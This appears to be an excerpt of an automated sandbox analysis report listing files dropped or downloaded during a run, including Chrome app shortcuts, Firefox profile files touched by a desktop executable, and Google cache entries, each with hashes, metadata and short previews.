Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 21:11:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.975425991891131
Encrypted:	false
SSDEEP:	48:8X2dOTq+OHridAKZdA19ehwiZUklqehGfy+3:8LLKhfy
MD5:	274DDC2A6DB70D24CF65C1A7918852D5
SHA1:	60E6B043E8AD395AD61F107FCF2D061118362FD5
SHA-256:	CFC23317D6DE9E84A537E46B76500CCCB34369B6D629C4D357C7F45D285199B3
SHA-512:	39B30C81BFA6C8E9C94D201BFF49050AF30BF86C3B98B1CC5521BED637F6AFACDB8985E88579D7359C9390016556616F1A8771EEFFBCAE74A02468A5838B80CE
Malicious:	false
Preview:	L..................F.@.. ...$+.,....,.K..+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Yk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 21:11:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9888151135001446
Encrypted:	false
SSDEEP:	48:8XLf2dOTq+OHridAKZdA1weh/iZUkAQkqehRfy+2:8bjLA9QEfy
MD5:	9585E708C271B28CA9AEAEE518A0CA40
SHA1:	B03DB10A01EADBA167234BA8AE767E7014625B22
SHA-256:	B34BFB8ED0328F0E3A6F8C5773A70E60B69D86428ED8FFD26F30416771552FB0
SHA-512:	0D448D1EA85F5701E776429721426DDCC21A932B6F380ABDB804191B45C94D0CC032594A9B67BFF1E0776EB006824CE0D6EA15056D3168314C56ED521D3F7A88
Malicious:	false
Preview:	L..................F.@.. ...$+.,..... B..+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Yk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001682967349771
Encrypted:	false
SSDEEP:	48:8x22dOTq+sHridAKZdA14tseh7sFiZUkmgqeh7sHfy+BX:8xELunVfy
MD5:	0B7B9066D37C07B6A9614E538265D0B1
SHA1:	56C00632D0A129398008F9BC3E0AF3FBB6A6DE86
SHA-256:	5C93917B4AB7EC7E4E983158280E47853A6860F862BE8CEE76613414143648B5
SHA-512:	83F35013FB461F1AC90C075D3CCB47804FE2625F4563D96F5ABB71CD0E69837130B639380CA7B482F6922863F892A8232216D1572A9E80CFFDAA33DB1E4DAB78
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 21:11:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9865537423698214
Encrypted:	false
SSDEEP:	48:8Xa2dOTq+OHridAKZdA1vehDiZUkwqehdfy+R:8ILLPfy
MD5:	F9D4A75A9E41D5D97BE7463F50FD6553
SHA1:	4DE8FAF70991FD080F59F6049D1F4D1A9F63859F
SHA-256:	25D925C53D776576929CBD48F1ADF7E2A5C64F080B4F3FF243352EF51FFCA000
SHA-512:	E59E34A7DDDB8CE19CB62B4C000ACD1D398A94F7A4A93A760C3BC4A20773698DEF8417E42ABED28F9797A68427186D51E10F9FBC290E7472CFA2B3429625942B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....?\=..+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Yk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 21:11:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9750436729320326
Encrypted:	false
SSDEEP:	48:8RV2dOTq+OHridAKZdA1hehBiZUk1W1qeh7fy+C:8jLL9bfy
MD5:	870837ED359F43395F7CD449CA1FD850
SHA1:	369A4026A11048696E2CCAF17D8520548CFB7D1B
SHA-256:	94386D182EC78C2E8FAB1A2E16EDB4EF5B522E755208C5430D060183EC97028D
SHA-512:	1DF441724ECC2364CB99FB76E50CA4274D80FDFFD9DA2C0E6DD9E9D47C7D2EA1C0D18EB162E2588FECF693472BDD63751B58FA3FC078BA106B24DDE7057BC721
Malicious:	false
Preview:	L..................F.@.. ...$+.,....p.F..+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Yk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 21:11:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.98905680531639
Encrypted:	false
SSDEEP:	48:8l22dOTq+OHridAKZdA1duT+ehOuTbbiZUk5OjqehOuTbVfy+yT+:8lELrT/TbxWOvTbVfy7T
MD5:	ADD9E5D7DDAB325DBF712C2FAD1C80E6
SHA1:	C9056C91EFC7E22F29BCE85AC50AB062B5D7D476
SHA-256:	3460DA78DDE93CA66E35182950B37F9FE20FDFB982552801602C3664B859F281
SHA-512:	708946BD4EBBDE9E74921642413DC85F3A7B6A05DBE25B60B3B2169A08213A03A8D1CF4B0E22482DC6F34F21F6E1AE73FC54B1F24C1C54FF45BB266BD732DC1B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....../..+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Yi.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Yi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Yi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Yi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Yk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........#@.C.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (797)
Category:	downloaded
Size (bytes):	802
Entropy (8bit):	5.145833977607152
Encrypted:	false
SSDEEP:	24:PDuHQvj2g3EF/BHslgT9lCuABuoB7HHHHHHHYqmffffffo:PEABUF/KlgZ01BuSEqmffffffo
MD5:	C74C9D3F94DFAE12969F722E3986E4EE
SHA1:	4B2FE0040C6C19D008D4BE32E75C343FEEBEDDA6
SHA-256:	422454089904E923DC6D75321E17A0576E3B1BA4D2350695F22777845AC189BD
SHA-512:	8CF04FFAB6EAA0B262C50B7C1F5126D097BB8D1889B639F43FBF451B2E98593EF2FB6F7E7A0A9B0FFD243726FEDA2F5E48D7459383BF29EE8C38BD8C4C0AC5AE
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt connections hints october 30","walmart deals black friday","ggst 1.40 patch notes","des moines iowa beggars night","breeders cup 2024 races","luce mascot catholic church","cookie butter cold brew dunkin donuts","apple macbook pro m4 pro"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436746300857156
Encrypted:	false
SSDEEP:	3072:2P/vjxd0QniyZ+qQf4VBNQ0pqhvx7U+OUaKszQ:E/vv0yTVBNQ0pavxI+ORQ
MD5:	8F9FA0EA5EEBDAE675E6C842C99DC24F
SHA1:	74D55E0D18583994614543A05B13A14E1CDE3217
SHA-256:	5152357A52664F05A415A22514C4DECD21EA02CB8CCFF6F2441F1C7487D05FE0
SHA-512:	924B3FC5A569D31F7487E8E7C74C6A22C983B837BF72F16E3EA0E60B5D63278228665B27C0DF3D77962D83A66887A17AA0C67017F666A2B37CC13788A2E3A707
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
